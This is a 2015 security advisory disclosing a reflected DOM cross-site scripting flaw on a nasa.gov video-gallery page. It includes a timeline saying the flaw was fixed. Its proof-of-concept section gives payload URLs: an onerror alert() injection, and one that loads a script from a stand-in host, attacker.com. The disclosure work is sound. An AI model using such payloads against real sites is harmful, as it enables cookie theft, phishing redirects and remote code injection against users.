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# Exploit Title: NASA.gov main-domain DOM-XSS
# Date: 01/04/2015
# Author: Yann CAM - Georges TAUPIN @ Synetis - ASafety
# Vendor or Software Link: www.nasa.gov
# Version: /
# Category: DOM-XSS
# Google dork:
# Tested on: NASA.gov main-domain
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NASA description :
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The National Aeronautics and Space Administration (NASA) is the United States government agency responsible for the civilian space program as well as 
aeronautics and aerospace research.

There are several sub-domains and independent projects within NASA.
Those affected by this advisory are :

- NASA’s video gallery on main domain : DOM Cross-Site Scripting (RXSS)


Vulnerability description :
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Reflected DOM XSS are available in nasa.gov main-domain above.
Through this kind of vulnerability, an attacker could tamper with page rendering, redirect victims to fake NASA portals, or capture NASA's users credentials such cookies. 
These reflected XSS are on GET variables and are not properly sanitized before being used in page.


NASA’s main portal - video gallery - PoC :
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- Proof of Concept (PoC), canonical DOM-XSS "alert()", tested on Firefox 35, Chrome 39 and IE 11:

http://www.nasa.gov/multimedia/nasatv/on_demand_video.html?param&_id&_title=<img src%3Dx onerror%3Dalert(/RXSS/) />

or the same fully-url-encoded :

http://www.nasa.gov/multimedia/nasatv/on_demand_video.html?param&_id&_title=%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%2f%52%58%53%53%2f%29%20%2f%3e

The previous link generates a JavaScript "alert()" box in the browser context.

- Proof of Concept (PoC), canonical DOM-XSS "loading third party JS script", tested on Firefox 35, Chrome 39 and IE 11:

http://www.nasa.gov/multimedia/nasatv/on_demand_video.html?param&_id&_title=<img src%3Dx onerror%3D"var s%3Ddocument.createElement('script');s.setAttribute('src','http://attacker.com/x.js');document.getElementsByTagName('head').item(0).appendChild(s);" />


Screenshots :
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- http://www.asafety.fr/data/20150124-NASA.gov-RXSS_001.png
- http://www.asafety.fr/data/20150124-NASA.gov-RXSS_003.png
- http://www.asafety.fr/data/20150124-NASA.gov-RXSS_004.png


Solution:
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Fixed by NASA Portal's team.
 
 
Additional resources :
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- http://www.nasa.gov/
- https://www.owasp.org/index.php/DOM_Based_XSS
- http://www.asafety.fr/vuln-exploit-poc/contribution-nasa-gov-portail-principal-dom-xss
- http://www.synetis.com

 
Report timeline :
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2015-01-25 : NASA Portal's team was alerted by email through "contact form".
2015-01-26 : NASA Portal's team fixed the vulnerability
2015-04-01 : Public advisory

Credits :
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Yann CAM - Georges TAUPIN - Security Consultants @ Synetis | ASafety

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SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr | www.georgestaupin.com